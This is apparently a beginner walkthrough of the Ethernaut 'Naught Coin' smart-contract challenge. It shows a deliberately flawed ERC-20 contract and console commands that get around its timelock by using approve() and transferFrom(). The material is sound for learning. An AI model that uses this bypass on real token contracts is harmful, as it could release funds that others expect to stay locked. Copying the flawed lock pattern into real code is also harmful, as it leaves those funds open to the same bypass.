Ethernaut - Walkthrough for Noobs - 15 - Naught Coin

Ethernaut - Walkthrough for Noobs - 15 - Naught Coin

This level introduces ERC-20 tokens, and ways to transfer them around. In the challenge, we hold all the naught coins, but the catch is that they are locked for 10 years. Our goal is to access them and transfer them to another address.

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Background

Let's first understand what are ERC-20 tokens. ERC-20 is a standard protocol to create fungible tokens. That's just a fancy way of saying that each unit of the token is identical to every other unit and is interchangeable. This allows developers to create tokens for their products and services, and since the protocol is well-defined, this brings uniformity to the ecosystem. Most of the tokens you see now, $AAVE, $UNI, $LINK, and $SHIB are all ERC-20 compliant. Read More

There are two ways to transfer these tokens:

  1. transfer(): this allows, msg.sender to directly send tokens to a recipient.

  2. transferFrom(): this allows an external sender (that could be the owner as well) to transfer an approved amount to a recipient.

    Read more.

We will be using the transferFrom() function for this, in conjunction with approve().

Here is what the code looks like for them:

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

function approve(address _spender, uint256 _value) public returns (bool success)

Code of Importance

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days; //adds 10 years to the time when the current block was created
  uint256 public INITIAL_SUPPLY; //state variable, will store initial supply.
  address public player; //state variable address: will store our address.

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') { //name and symbol of the token
    player = _player; //assigns our address to player
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); //basically tells the initial supply + how many times a single token is divisible, that is 10^18 times.  
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY); //internal function which mints initial supply to our address. 
    emit Transfer(address(0), player, INITIAL_SUPPLY); //emits that transfer from address(0) which indicates that tokens were minted to our address. Check the note after the code. 
  }

  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value); //since we inherit from ERC20, we use super to override and thus access transfer function.  
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() { 
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
}

Note: A token contract that creates new tokens SHOULD trigger a Transfer event with the _from the address set to 0x0 when tokens are created.

Similarly, when burning tokens, _to parameter should be set to 0x0.

Okay, as you can observe in the above code, we cannot transfer funds using the transfer() function, since the lockTokens() modifier is enforcing the timelock on transfer() function. Therefore we must use the transferFrom() and approve() function to transfer all the NaughtCoins.

Here is the strategy for the exploit.

  1. Call approve() to approve ourselves to manage all the coins.

  2. Call transferFrom().

Solution

  1. Create a level instance and open up the console.

  2. Run the following commands in console.

     (await contract.balanceOf(player)).toString() //shows your balance
     await contract.approve(player, '1000000000000000000000000') //approves the balance
     (await contract.allowance(player, player)).toString() //checks if the approve was successful. 
    
     await contract.transferFrom(player, 'enter random address', '1000000000000000000000000') //transfers the coin. 
    
     (await contract.balanceOf(player)).toString() //the balance should now be zero.
    

Submit Instance🪙